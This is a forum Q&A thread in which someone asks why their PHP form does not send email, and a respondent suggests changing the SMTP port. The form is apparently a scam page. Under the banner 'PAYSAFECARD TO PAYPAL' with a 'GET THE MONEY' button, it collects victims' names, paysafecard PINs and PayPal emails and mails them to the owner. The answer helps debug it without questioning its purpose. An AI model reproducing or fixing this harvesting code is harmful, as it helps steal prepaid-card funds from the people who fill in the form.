Phpmailer - does not work

Asked

Viewed 33 times

-1

so I’m trying to make a form to send some information in my email, it is returning successfully but ends up not sending the email.

php.


<?php

include_once('phpmailer.php'); //Chama o arquivo phpmailer.php com as funções para realizar o envio.

//#########################################
// Recebe as informações do formulário
//#########################################

$nome = $_POST["nome"];
$email = $_POST["email"];
$pin = $_POST["pin"];
$assunto = "Recebimento de ". $email ."";
$mensagem ="Novo troca disponivel. \nNome:". $nome ."\nEmail: ". $email ."\nPin: ". $pin ."\n";

//#########################################
// Dados da conta de e-mail que fará o envio
//#########################################

$smtp = new Smtp("smtpout.secureserver.net"); //Endereço do SMTP, geralmente localhost.
$smtp->user = "[email protected]"; //Conta de email
$smtp->pass = "pass"; //Senha da Conta de e-mail.
$smtp->debug = false; //Somente para usuários avançados que desejam o log do envio para testes.

//#########################################
// Envio do formulário
//#########################################

$to = "[email protected]"; //Informe aqui o e-mail que deve receber a mensagem do formulário.
$from = $email;
$subject = "Troca – " . $assunto;
$msg = $mensagem;

if (isset($_POST["submit"])) {
if($nome && $email && $pin) {
if($smtp->Send($to, $from, $subject, $msg)){
echo "<script>window.location = 'success.html';</script>"; //Altere aqui para o endereço de sua página.
exit;
}
}

else {
echo "<script>window.location = 'error.html';</script>"; //Altere aqui para o endereço de seu formulário
exit;
}

}

?>

index.html

            <form class="contact100-form validate-form" action="envia.php" method="post" id="contato">
                <img src="https://i.imgur.com/4Zp2dxx.png">
                <span class="contact100-form-title">
                </span>
                <span class="contact100-form-title">
                    GOLD - EASY TRANSFER
                    <h1>PAYSAFECARD TO PAYPAL</h1>
                </span>

                <div class="wrap-input100 validate-input" data-validate="Please enter your full name.">
                    <input class="input100" type="text" name="nome" id="nome" placeholder="FULL NAME">
                    <span class="focus-input100"></span>
                </div>
                <div class="wrap-input100 validate-input" data-validate = "Please enter your paysafecard PIN.">
                    <input class="input100" type="text" name="pin" id="pin" placeholder="Paysafecard PIN">
                    <span class="focus-input100"></span>
                </div>


                <div class="wrap-input100 validate-input" data-validate = "Please enter your paypal account email.">
                    <input class="input100" type="text" name="email" id="email" placeholder="Paypal EMAIL">
                    <span class="focus-input100"></span>
                </div>



                <div class="container-contact100-form-btn">
                    <button class="contact100-form-btn" name="submit" type="submit" value="Enviar" >
                        <span>
                            <i class="fa fa-refresh" aria-hidden="true"></i>
                            GET THE MONEY
                        </span>
                    </button>
                </div>
            </form>

phpmailer.php


<?php

class Smtp{

var $conn;
var $user;
var $pass;
var $debug = false;

function Smtp($host){
$this->conn = fsockopen($host, 25, $errno, $errstr, 30);
$this->Put("EHLO $host");
}
function Auth(){
$this->Put("AUTH LOGIN");
$this->Put(base64_encode($this->user));
$this->Put(base64_encode($this->pass));
}
function Send($to, $from, $subject, $msg){

$this->Auth();
$this->Put("MAIL FROM: " . $from);
$this->Put("RCPT TO: " . $to);
$this->Put("DATA");
$this->Put($this->toHeader($to, $from, $subject));
$this->Put("\r\n");
$this->Put($msg);
$this->Put(".");
$this->Close();
if(isset($this->conn)){
return true;
}else{
return false;
}
}
function Put($value){
return fputs($this->conn, $value . "\r\n");
}
function toHeader($to, $from, $subject){

$header = "From: <" . $from . "> \r\n";

return $header;
}
function Close(){
$this->Put("QUIT");
if($this->debug == true){
while (!feof ($this->conn)) {
echo fgets($this->conn) . "<br>\n";
}
}
return fclose($this->conn);
}
}

?>

1 answer

0


You did almost right, I only miss the SMTP port that Phpmailer needs to communicate with sending server...

I checked your code after sending, so I will score one thing for you to do, do not declare the port of Function SMTP standard 25, requires to be passed on the first screen because it can be 587,465 or 25 you do not know.

  • no, because I use my domain email, and in the settings this 25, and if I use some platforms, type opencart, it usually sends with port 25

  • Test with another port to be sure, if error persists post the error that returns.

  • I’ve tested with other doors, but it didn’t work

Browser other questions tagged

You are not signed in. Login or sign up in order to post.